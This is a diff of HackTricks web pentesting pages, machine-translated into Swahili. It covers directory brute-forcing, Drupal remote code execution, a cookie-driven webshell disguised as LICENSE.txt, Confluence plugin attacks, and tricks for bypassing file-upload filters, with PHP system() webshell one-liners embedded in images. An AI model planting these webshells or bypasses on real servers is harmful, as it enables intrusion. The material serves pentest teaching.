* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Haipati vyeti vilivyojitiisha kiotomatiki lakini** inaruhusu utafutaji wa kurudiwa.
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Inaruhusu vyeti vilivyojitiisha kiotomatiki, **haina** **utaftaji wa kurudiwa**.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Haraka, inasaidia utafutaji wa kurudiwa.**
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
* [**ffuf** ](https://github.com/ffuf/ffuf)- Haraka: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
@ -288,9 +288,9 @@ _Kumbuka kwamba kila wakati directory mpya inapatikana wakati wa brute-forcing a
### What to check on each file found
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Pata viungo vilivyovunjika ndani ya HTMLs ambavyo vinaweza kuwa na hatari ya kuchukuliwa.
* **File Backups**: Mara tu unapokuwa umepata faili zote, angalia nakala za faili zote zinazoweza kutekelezwa ("_.php_", "_.aspx_"...). Mabadiliko ya kawaida ya kutaja nakala ni: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp na file.old._ Unaweza pia kutumia chombo [**bfac**](https://github.com/mazen160/bfac) **au** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
* **Discover new parameters**: Unaweza kutumia zana kama [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **na** [**Param Miner**](https://github.com/PortSwigger/param-miner) **kugundua parameta zilizofichwa. Ikiwa unaweza, unaweza kujaribu kutafuta** parameta zilizofichwa kwenye kila faili la wavuti linaloweza kutekelezwa.
* _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* **File Backups**: Mara tu unapopata faili zote, angalia nakala za faili zote zinazoweza kutekelezwa ("_.php_", "_.aspx_"...). Mabadiliko ya kawaida ya kutaja nakala ni: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp na file.old._ Unaweza pia kutumia chombo [**bfac**](https://github.com/mazen160/bfac) **au** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
* **Discover new parameters**: Unaweza kutumia zana kama [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **na** [**Param Miner**](https://github.com/PortSwigger/param-miner) **kugundua parameta zilizofichwa. Ikiwa unaweza, unaweza kujaribu kutafuta** parameta zilizofichwa kwenye kila faili ya wavuti inayoweza kutekelezwa.
* _Arjun orodha zote za maneno za kawaida:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
@ -306,11 +306,11 @@ _Kumbuka kwamba kila wakati directory mpya inapatikana wakati wa brute-forcing a
**Interesting files**
* Angalia **viungo** kwa faili nyingine ndani ya **CSS** files.
* Angalia **viungo** kwa faili nyingine ndani ya **CSS**.
* [Ikiwa unapata faili ya _**.git**_ habari fulani inaweza kutolewa](git.md)
* Ikiwa unapata _**.env**_ habari kama funguo za api, nywila za db na habari nyingine zinaweza kupatikana.
* Ikiwa unapata **API endpoints** unapaswa pia kujaribu [kujaribu hizo](web-api-pentesting.md). Hizi si faili, lakini labda "zitakuwa kama" hizo.
* **JS files**: Katika sehemu ya spidering zana kadhaa ambazo zinaweza kutoa njia kutoka kwa faili za JS zilitajwa. Pia, itakuwa ya kuvutia **kufuatilia kila faili la JS lililopatikana**, kwani katika baadhi ya matukio, mabadiliko yanaweza kuashiria kuwa udhaifu wa uwezekano umeingizwa katika msimbo. Unaweza kutumia kwa mfano [**JSMon**](https://github.com/robre/jsmon)**.**
* Ikiwa unapata **API endpoints** unapaswa [pia kujaribu hizo](web-api-pentesting.md). Hizi si faili, lakini labda "zitakuwa kama" hizo.
* **JS files**: Katika sehemu ya spidering zana kadhaa ambazo zinaweza kutoa njia kutoka kwa faili za JS zilitajwa. Pia, itakuwa ya kuvutia **kufuatilia kila faili ya JS iliyopatikana**, kwani katika baadhi ya matukio, mabadiliko yanaweza kuashiria kuwa udhaifu wa uwezekano umeingizwa katika msimbo. Unaweza kutumia kwa mfano [**JSMon**](https://github.com/robre/jsmon)**.**
* Unapaswa pia kuangalia faili za JS zilizogunduliwa na [**RetireJS**](https://github.com/retirejs/retire.js/) au [**JSHole**](https://github.com/callforpapers-source/jshole) ili kuona ikiwa ina udhaifu.
* **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
@ -327,13 +327,13 @@ _Kumbuka kwamba kila wakati directory mpya inapatikana wakati wa brute-forcing a
**502 Proxy Error**
Ikiwa ukurasa wowote **unajibu** na **nambari** hiyo, labda ni **proxy iliyo na makosa**. **Ikiwa unatumia ombi la HTTP kama: `GET https://google.com HTTP/1.1`** (ikiwa na kichwa cha mwenyeji na vichwa vingine vya kawaida), **proxy** itajaribu **kufikia** _**google.com**_ **na utakuwa umepata** SSRF.
Ikiwa ukurasa wowote **unajibu** na hiyo **nambari**, labda ni **proxy iliyo na makosa**. **Ikiwa unatumia ombi la HTTP kama: `GET https://google.com HTTP/1.1`** (pamoja na kichwa cha mwenyeji na vichwa vingine vya kawaida), **proxy** itajaribu **kufikia** _**google.com**_ **na utakuwa umepata** SSRF.
**NTLM Authentication - Info disclosure**
Ikiwa seva inayotumika inahitaji uthibitisho ni **Windows** au unapata kuingia inayohitaji **credentials** zako (na kuomba **jina la** **domain**), unaweza kusababisha **kuvuja kwa habari**.\
Ikiwa seva inayotumika inahitaji uthibitisho ni **Windows** au unapata kuingia inayoomba **credentials** zako (na kuomba **jina la** **domain**), unaweza kusababisha **ufichuzi wa habari**.\
**Tuma** **kichwa**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` na kutokana na jinsi **uthibitisho wa NTLM unavyofanya kazi**, seva itajibu kwa habari za ndani (toleo la IIS, toleo la Windows...) ndani ya kichwa "WWW-Authenticate".\
Unaweza **kujiandaa** hii kwa kutumia **kiendelezi cha nmap** "_http-ntlm-info.nse_".
Unaweza **kujiandaa** hii kwa kutumia **nmap plugin** "_http-ntlm-info.nse_".
**HTTP Redirect (CTF)**
@ -357,9 +357,9 @@ Pata maelezo zaidi kuhusu udhaifu wa wavuti katika:
Unaweza kutumia zana kama [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) kufuatilia kurasa kwa mabadiliko ambayo yanaweza kuingiza udhaifu.
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **kazi ya hacking** na kujaribu kuvunja yasiyoweza kuvunjika - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa kiswahili vizuri kunahitajika_).
Ikiwa unavutiwa na **kazi ya hacking** na kujaribu kuvunja yasiyoweza kuvunjika - **tunaajiri!** (_kuandika na kuzungumza kwa kiswahili vizuri kunahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -18,7 +18,7 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte.
## With PHP Filter Module
{% hint style="warning" %}
Katika toleo za zamani za Drupal **(kabla ya toleo la 8)**, ilikuwa inawezekana kuingia kama admin na **kuwezesha moduli ya `PHP filter`**, ambayo "Inaruhusu msimbo wa PHP uliowekwa ndani kutathminiwa." Lakini kuanzia toleo la 8 moduli hii haijaanzishwa kwa chaguo-msingi.
Katika toleo za zamani za Drupal **(kabla ya toleo la 8)**, ilikuwa inawezekana kuingia kama admin na **kuwezesha moduli ya `PHP filter`**, ambayo "Inaruhusu msimbo wa PHP uliowekwa ndani/vidokezo kutathminiwa." Lakini kuanzia toleo la 8 moduli hii haijaanzishwa kwa chaguo-msingi.
{% endhint %}
Unahitaji **plugin ya php iwe imewekwa** (angalia kwa kufikia _/modules/php_ na ikiwa inarudisha **403** basi, **ipo**, ikiwa **haipatikani**, basi **plugin ya php haijawekwa**)
@ -46,7 +46,7 @@ Kuanzia toleo **8 na kuendelea,** [**PHP Filter**](https://www.drupal.org/projec
1. Pakua toleo la hivi karibuni la moduli kutoka tovuti ya Drupal.
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
2. Mara baada ya kupakua, nenda kwenye **`Administration`** > **`Reports`** > **`Available updates`**.
3. Bonyeza **`Browse`**`,` chagua faili kutoka kwenye directory tuliyopakia, kisha bonyeza **`Install`**.
3. Bonyeza **`Browse`**, chagua faili kutoka kwenye directory tuliyopakia, kisha bonyeza **`Install`**.
4. Mara moduli ikishafungwa, tunaweza kubonyeza **`Content`** na **kuunda ukurasa mpya wa msingi**, kama tulivyofanya katika mfano wa Drupal 7. Tena, hakikisha **uchague `PHP code` kutoka kwenye `Text format` dropdown**.
## Backdoored Module
@ -89,7 +89,7 @@ tar cvf captcha.tar.gz captcha/
### Sehemu ya 1 (kuanzisha _Media_ na _Media Library_)
Katika menyu ya _Extend_ (/admin/modules), unaweza kuanzisha kile kinachoweza kuonekana kama plugins ambazo tayari zimewekwa. Kwa kawaida, plugins _Media_ na _Media Library_ hazionekani kuanzishwa, hivyo hebu tuzianzishe.
Katika menyu ya _Extend_ (/admin/modules), unaweza kuanzisha kile kinachoweza kuonekana kama plugins ambazo tayari zimesakinishwa. Kwa kawaida, plugins _Media_ na _Media Library_ hazionekani kuanzishwa, hivyo hebu tuzianzishe.
Kabla ya kuanzisha:
@ -97,13 +97,13 @@ Kabla ya kuanzisha:
Baada ya kuanzisha:
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Sehemu ya 2 (kutumia kipengele _Usawazishaji wa Mipangilio_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
Tutatumia kipengele _Usawazishaji wa Mipangilio_ kutupa (kupeleka) na kupakia (kuagiza) entries za mipangilio ya Drupal:
Tutatumia kipengele _Usawazishaji wa Mipangilio_ ili kutupa (kuhamasisha) na kupakia (kuagiza) entries za mipangilio ya Drupal:
* /admin/config/development/configuration/single/export
* /admin/config/development/configuration/single/import
@ -140,7 +140,7 @@ allow_insecure_uploads: true
**Patch field.field.media.document.field\_media\_document.yml**
Kisha, pata kipengee cha pili `file_extensions` kutoka:
Kisha, pata kipengele cha pili `file_extensions` kutoka:
File: field.field.media.document.field\_media\_document.yml
```
@ -154,9 +154,9 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod
```
<figure><img src="../../../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ili:
Kwa:
Faili: field.field.media.document.field\_media\_document.yml
File: field.field.media.document.field\_media\_document.yml
```
...
@ -166,7 +166,7 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
...
```
> Sijatumia katika blogu hii lakini inabainishwa kuwa inawezekana kufafanua kiingilio `file_directory` kwa njia isiyo ya kawaida na kwamba inahatarishwa na shambulio la kupita njia (hivyo tunaweza kurudi juu ndani ya mti wa mfumo wa faili wa Drupal).
> Situmii hii katika blogu hii lakini inabainishwa kuwa inawezekana kufafanua kiingilio `file_directory` kwa njia isiyo ya kawaida na kwamba inahatarishwa na shambulio la kupita njia (hivyo tunaweza kurudi juu ndani ya mti wa mfumo wa faili wa Drupal).
<figure><img src="../../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -174,7 +174,7 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
Hatua ya mwisho ni rahisi zaidi, na imegawanywa katika hatua ndogo mbili. Ya kwanza ni kupakia faili katika muundo wa .htaccess ili kutumia maagizo ya Apache na kuruhusu faili za .txt kutafsiriwa na injini ya PHP. Ya pili ni kupakia faili ya .txt inayoshikilia mzigo wetu.
Faili: .htaccess
File: .htaccess
```
<Files *>
SetHandler application/x-httpd-php
@ -194,7 +194,7 @@ php_flag engine on
```
Kwa nini hila hii ni nzuri?
Kwa sababu mara tu Webshell (ambayo tutaita LICENSE.txt) inapowekwa kwenye seva ya Mtandao, tunaweza kupeleka amri zetu kupitia `$_COOKIE` na katika kumbukumbu za seva ya Mtandao, hii itaonekana kama ombi halali la GET kwa faili la maandiko.
Kwa sababu mara tu Webshell (ambayo tutaita LICENSE.txt) inapowekwa kwenye seva ya Mtandao, tunaweza kuhamasisha amri zetu kupitia `$_COOKIE` na katika kumbukumbu za seva ya Mtandao, hii itaonekana kama ombi halali la GET kwa faili la maandiko.
Kwa nini kuita Webshell yetu LICENSE.txt?
@ -263,7 +263,7 @@ Wakati mshambuliaji anapoweka cookie, anaweza kuwasiliana na Webshell na kutekel
<figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
Na kama unavyoona katika kumbukumbu, inaonekana kama faili tu ya txt imeombwa.
Na kama unavyoona katika kumbukumbu, inaonekana kama faili ya txt pekee ndiyo imeombwa.
<figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -23,7 +23,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
## Check Privileges
Katika Jira, **privileges zinaweza kuangaliwa** na mtumiaji yeyote, aliyeidhinishwa au la, kupitia endpoints `/rest/api/2/mypermissions` au `/rest/api/3/mypermissions`. Endpoints hizi zinaonyesha privileges za sasa za mtumiaji. Wasiwasi mkubwa unatokea wakati **watumiaji wasio na uthibitisho wana privileges**, ikionyesha **udhaifu wa usalama** ambao unaweza kuwa na haki ya **bounty**. Vivyo hivyo, **privileges zisizotarajiwa kwa watumiaji waliothibitishwa** pia zinaonyesha **udhaifu**.
Katika Jira, **privileges zinaweza kuangaliwa** na mtumiaji yeyote, aliyeidhinishwa au la, kupitia endpoints `/rest/api/2/mypermissions` au `/rest/api/3/mypermissions`. Endpoints hizi zinaonyesha privileges za sasa za mtumiaji. Wasiwasi mkubwa unatokea wakati **watumiaji wasio na uthibitisho wana privileges**, ikionyesha **udhaifu wa usalama** ambao unaweza kuwa na haki ya **bounty**. Vivyo hivyo, **privileges zisizotarajiwa kwa watumiaji walioidhinishwa** pia zinaonyesha **udhaifu**.
**Sasisho** muhimu lilifanywa tarehe **1 Februari 2019**, likihitaji endpoint 'mypermissions' kujumuisha **'parameter ya ruhusa'**. Mahitaji haya yanakusudia **kuimarisha usalama** kwa kubainisha privileges zinazoulizwa: [check it here](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
@ -123,15 +123,15 @@ Mara XSS inapopatikana, katika [**hii github repo**](https://github.com/cyllecti
Haya ni baadhi ya vitendo ambavyo plugin mbaya inaweza kufanya:
* **Kuficha Plugins kutoka kwa Wasimamizi**: Inawezekana kuficha plugin mbaya kwa kuingiza javascript ya mbele.
* **Kutoa Nyaraka na Kurasa**: Ruhusu kufikia na kutoa data yote.
* **Kutoa Nambari na Kurasa**: Ruhusu kufikia na kutoa data yote.
* **Kuhujumu Token za Kikao**: Ongeza mwisho ambao utaecho vichwa katika jibu (pamoja na cookie) na baadhi ya javascript ambayo itawasiliana nayo na kutoa cookies.
* **Kutekeleza Amri**: Bila shaka inawezekana kuunda plugin ambayo itatekeleza msimbo.
* **Reverse Shell**: Au kupata reverse shell.
* **DOM Proxying**: Ikiwa confluence iko ndani ya mtandao wa kibinafsi, itakuwa inawezekana kuanzisha muunganisho kupitia kivinjari cha mtumiaji yeyote mwenye ufikiaji wa hiyo na kwa mfano kuwasiliana na seva kutekeleza amri kupitia hiyo.
* **DOM Proxying**: Ikiwa confluence iko ndani ya mtandao wa kibinafsi, itakuwa inawezekana kuanzisha muunganisho kupitia kivinjari cha mtumiaji yeyote mwenye ufikiaji wa hiyo na kwa mfano kuwasiliana na seva ikitekeleza amri kupitia hiyo.
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **kazi ya uhalifu** na kujaribu kuvunja yasiyoweza kuvunjwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa kiswahili vizuri kunahitajika_).
Ikiwa unavutiwa na **kazi ya uhalifu** na kuhack yasiyoweza kuhack - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa kiswahili vizuri kunahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -145,7 +145,7 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za uhalifu kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Shiriki hila za uhalifu kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -10,14 +10,14 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Shiriki hila za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackiwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kiholanzi kunahitajika_).
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha Kiswahili kunahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -36,11 +36,11 @@ Extensions nyingine muhimu:
### Bypass file extensions checks
1. Ikiwa zinatumika, **angalia** **extensions za awali.** Pia jaribu kutumia **herufi kubwa**: _pHp, .pHP5, .PhAr ..._
1. Ikiwa zinatumika, **angalia** **extensions za awali.** Pia jaribu kutumia baadhi ya **herufi kubwa**: _pHp, .pHP5, .PhAr ..._
2. _Angalia **kuongeza extension halali kabla** ya extension ya utekelezaji (tumia extensions za awali pia):_
* _file.png.php_
* _file.png.Php5_
3. Jaribu kuongeza **herufi maalum mwishoni.** Unaweza kutumia Burp ku **bruteforce** herufi zote za **ascii** na **Unicode**. (_Kumbuka kwamba unaweza pia kujaribu kutumia **extensions** zilizotajwa **awali**_)
3. Jaribu kuongeza **herufi maalum mwishoni.** Unaweza kutumia Burp ku **bruteforce** herufi zote za **ascii** na **Unicode**. (_Kumbuka kwamba unaweza pia kujaribu kutumia **extensions** zilizotajwa awali_)
* _file.php%20_
* _file.php%0a_
* _file.php%00_
@ -62,15 +62,15 @@ Extensions nyingine muhimu:
5. Ongeza **tabaka lingine la extensions** kwa ukaguzi wa awali:
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
6. Jaribu kuweka **exec extension kabla ya extension halali** na uombe ili seva iwe na usanidi mbaya. (inayofaa kutumia ku exploit usanidi mbaya wa Apache ambapo chochote chenye extension\*\* _**.php**_**, lakini** si lazima kumalizika kwa .php\*\* kitatekeleza msimbo):
6. Jaribu kuweka **exec extension kabla ya extension halali** na uombe ili seva iwe na usanidi mbaya. (inayofaa kutumia ku exploit usanidi mbaya wa Apache ambapo chochote chenye extension\*\* _**.php**_**, lakini** sio lazima kumalizika na .php\*\* kitatekeleza msimbo):
* _ex: file.php.png_
7. Kutumia **NTFS alternate data stream (ADS)** katika **Windows**. Katika kesi hii, herufi ya colon “:” itaingizwa baada ya extension iliyokatazwa na kabla ya ile inayoruhusiwa. Kama matokeo, **faili tupu yenye extension iliyokatazwa** itaundwa kwenye seva (mfano “file.asax:.jpg”). Faili hii inaweza kuhaririwa baadaye kwa kutumia mbinu nyingine kama kutumia jina lake fupi. Mwelekeo wa “**::$data**” unaweza pia kutumika kuunda faili zisizo tupu. Kwa hivyo, kuongeza herufi ya dot baada ya mwelekeo huu inaweza pia kuwa na manufaa kupita vizuizi zaidi (.e.g. “file.asp::$data.”)
7. Kutumia **NTFS alternate data stream (ADS)** katika **Windows**. Katika kesi hii, herufi ya colon “:” itaingizwa baada ya extension iliyokatazwa na kabla ya ile inayoruhusiwa. Kama matokeo, **faili tupu yenye extension iliyokatazwa** itaundwa kwenye seva (mfano “file.asax:.jpg”). Faili hii inaweza kuhaririwa baadaye kwa kutumia mbinu nyingine kama kutumia jina lake fupi. Mwelekeo wa “**::$data**” unaweza pia kutumika kuunda faili zisizo tupu. Kwa hivyo, kuongeza herufi ya dot baada ya mwelekeo huu pia inaweza kuwa na manufaa kupita vizuizi zaidi (.e.g. “file.asp::$data.”)
8. Jaribu kuvunja mipaka ya jina la faili. Extension halali inakatwa. Na PHP mbaya inabaki. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@ -81,16 +81,16 @@ AAA<--SNIP 232 A-->AAA.php.png
### Bypass Content-Type, Magic Number, Compression & Resizing
* Pita **Content-Type** ukaguzi kwa kuweka **thamani** ya **header** ya **Content-Type** kuwa: _image/png_ , _text/plain , application/octet-stream_
1. Orodha ya **Content-Type**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
1. Orodha ya maneno ya Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
* Pita **magic number** ukaguzi kwa kuongeza mwanzoni mwa faili **bytes za picha halisi** (changanya amri ya _file_). Au ingiza shell ndani ya **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` au unaweza pia **kuingiza payload moja kwa moja** katika picha:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* Ikiwa **compression inaongezwa kwenye picha yako**, kwa mfano kwa kutumia maktaba za kawaida za PHP kama [PHP-GD](https://www.php.net/manual/fr/book.image.php), mbinu za awali hazitakuwa na manufaa. Hata hivyo, unaweza kutumia **PLTE chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya compression.
* Ikiwa **compression inaongezwa kwenye picha yako**, kwa mfano kwa kutumia baadhi ya maktaba za kawaida za PHP kama [PHP-GD](https://www.php.net/manual/fr/book.image.php), mbinu za awali hazitakuwa na manufaa. Hata hivyo, unaweza kutumia **PLTE chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya compression.
* [**Github na msimbo**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* Tovuti inaweza pia kuwa **ikiresize** **picha**, kwa kutumia mfano kazi za PHP-GD `imagecopyresized` au `imagecopyresampled`. Hata hivyo, unaweza kutumia **IDAT chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya compression.
* Tovuti inaweza pia kuwa **ikiweka** **picha**, kwa kutumia kwa mfano kazi za PHP-GD `imagecopyresized` au `imagecopyresampled`. Hata hivyo, unaweza kutumia **IDAT chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya compression.
* [**Github na msimbo**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Mbinu nyingine ya kutengeneza payload inayoweza kuhimili **kurekebisha picha**, kwa kutumia kazi ya PHP-GD `thumbnailImage`. Hata hivyo, unaweza kutumia **tEXt chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya compression.
